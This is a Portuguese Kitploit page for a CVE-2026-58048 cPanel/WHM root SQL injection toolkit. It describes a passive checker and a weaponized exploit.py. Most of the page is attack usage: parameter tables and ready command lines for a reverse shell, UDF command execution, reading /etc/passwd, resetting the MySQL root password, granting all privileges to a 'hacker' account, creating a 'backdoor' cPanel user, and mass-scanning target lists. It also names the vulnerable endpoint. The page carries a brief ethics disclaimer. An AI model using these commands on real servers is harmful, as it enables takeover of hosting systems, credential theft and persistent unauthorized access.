CVE-2026-58048-PoC-Exploit — 👾 CVE-2026-58048 – Toolkit de Execução SQL Root do cPanel (CVSS 9.4) | Suíte completa de Toolkit Red/Blue Team para cPanel & WHM 11.x não corrigido. 2 ferramentas: Safe Checker (auditoria/relatórios), Weaponized (reverse shell, persistência, UDF RCE, implantação, leitura/escrita de arquivos, operações de banco de dados, varredura em massa). c/Python. 🦾 Use com Ética, Mantenha-se Legal <3 | Kitploit

Ferramenta	Propósito	Usuário Pretendido
`exploit.py`	Toolkit completo weaponizado com reverse shell, persistência, RCE via UDF, leitura/escrita de arquivos, operações de banco de dados, suporte a proxy e varredura em massa.	Red teams / pentesters autorizados
`safecheck.py`	Verificador de vulnerabilidade não intrusivo que detecta a versão do cPanel e avalia o risco sem executar qualquer payload malicioso. Gera relatórios detalhados.	Blue teams / auditores de segurança

Recurso	`exploit.py`	`safecheck.py`
Detecção de vulnerabilidade	✅	✅
Detecção de versão	✅	✅
Injeção SQL root do MySQL	✅	❌
Reverse shell	✅	❌
Persistência (criação de usuário cPanel)	✅	❌
RCE via UDF (execução de comandos)	✅	❌
Leitura/escrita de arquivos	✅	❌
Operações de banco de dados (qualquer SQL)	✅	❌
Suporte a proxy	✅	✅
Varredura em massa (multi-thread)	✅	❌
Shell interativo	✅	❌
Modo não intrusivo (seguro)	❌	✅
Modo Verbose/Debug	✅	✅
Controle de verificação SSL	✅	✅
User-Agent personalizado	✅	✅
Atraso / tentativas de requisição	✅	❌
Saída JSON / relatório	✅	✅
Verificação de acessibilidade do endpoint	❌	✅
Detecção de vazamento de modo SQL	❌	✅

Cenário	Ferramenta Recomendada
Blue Team – verificar se sua instalação do cPanel é vulnerável	`safecheck.py`
Auditoria de Segurança – avaliação de vulnerabilidade não intrusiva	`safecheck.py`
Red Team – teste de penetração autorizado com exploração completa	`exploit.py`
Bug Bounty – teste de divulgação responsável	`safecheck.py`
Varredura em Massa – verificar múltiplos alvos quanto à vulnerabilidade	`exploit.py` (apenas detecção)
Resposta a Incidentes – verificar se os sistemas foram comprometidos	`safecheck.py`

Parâmetro	Descrição
`-t, --target`	URL do cPanel alvo (ex.: `https://cpanel.example.com:2083`)
`-l, --target-file`	Arquivo contendo lista de alvos (um por linha) para varredura em massa
`-u, --mysql-user`	Nome de usuário do cPanel/MySQL
`-P, --mysql-pass`	Senha do cPanel/MySQL
`--mysql-port`	Porta do MySQL (padrão: 3306)
`-p, --port`	Substituir porta do cPanel (padrão da URL ou 2083)
`--threads`	Número de threads para múltiplos alvos (padrão: 10)
`-o, --output`	Salvar resultados em arquivo (alvo único)
`--log`	Arquivo de log para saída detalhada
`-v, --verbose`	Saída detalhada
`--proxy`	Proxy HTTP/HTTPS (ex.: `http://127.0.0.1:8080`)
`-ua, --user-agent`	User-Agent personalizado
`--no-keep-alive`	Não manter a sessão ativa
`--delay`	Atraso entre requisições (padrão: 2.0s)
`--max-retries`	Máximo de tentativas (padrão: 3)
`--ssl-verify`	Verificar certificados SSL
`--cmd`	Comando a executar (prefixe com `sql:` ou `udf:` para específico)
`--inject`	SQL personalizado para injetar (substitui outras ações)
`--reverse-shell`	IP:PORT do reverse shell (usa UDF)
`--passwd`	Alterar senha root do MySQL
`--adduser`	Criar usuário cPanel (USER DOMAIN PASSWORD)

Parâmetro	Descrição
`-t, --target`	URL do cPanel alvo (ex.: `https://cpanel.example.com:2083`)
`-v, --verbose`	Saída detalhada
`--proxy`	Proxy HTTP/HTTPS (ex.: `http://127.0.0.1:8080`)
`-ua, --user-agent`	User-Agent personalizado
`--ssl-verify`	Verificar certificados SSL
`--timeout`	Tempo limite da requisição em segundos (padrão: 10)
`--log`	Salvar relatório em arquivo
`--json`	Exibir resultados em formato JSON

#	Cenário	Comando
1	Verificação rápida de vulnerabilidade	`python safecheck.py -t https://cpanel.example.com:2083`
2	Varredura detalhada com relatório	`python safecheck.py -t https://cpanel.example.com:2083 --log report.txt --json -v`
3	Reverse shell	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --reverse-shell 192.168.1.100:4444`
4	Executar SQL personalizado (root)	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --inject "GRANT ALL PRIVILEGES ON . TO 'hacker'@'%' IDENTIFIED BY 'pwned'"`
5	Ler arquivo sensível	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --read /etc/passwd`
6	Alterar senha root do MySQL	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --passwd NewRootPass123`
7	Criar novo usuário cPanel (persistência)	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --adduser backdoor domain.com Parola123`
8	Shell interativo após exploração	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass -i`
9	Varredura em massa a partir de arquivo	`python exploit.py -l targets.txt -u user -P pass --threads 20 --output results.json`
10	Usar proxy e User-Agent personalizado	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --proxy http://127.0.0.1:8080 -ua "Mozilla/5.0 (X11; Linux x86_64)"`

Endpoint	Propósito
`/execute/Mysql/create_database`	Criar banco de dados temporário
`/execute/Mysql/delete_database`	Limpar bancos de dados criados
`/execute/Mysql/rename_database`	Endpoint vulnerável – dispara a injeção SQL
`/execute/Version/get_version`	Verificação de autenticação e versão
`/execute/UserManager/create_user`	Criar novo usuário cPanel (persistência)
`/execute/UserManager/list_users`	Listar usuários existentes

--read

Mais Populares

CVE-2026-58048-PoC-Exploit

Sobre

Como funciona

Versões Afetadas

Correção

🧰 Ferramentas

📊 Comparação de Recursos

🎯 Resumo de Casos de Uso

⚙️ Instalação

requirements.txt

📋 Parâmetros

Parâmetros do `exploit.py`

Parâmetros do `safecheck.py`

💥 Cenários

🧪 Uso de Endpoints e API

🛡️ Uso Responsável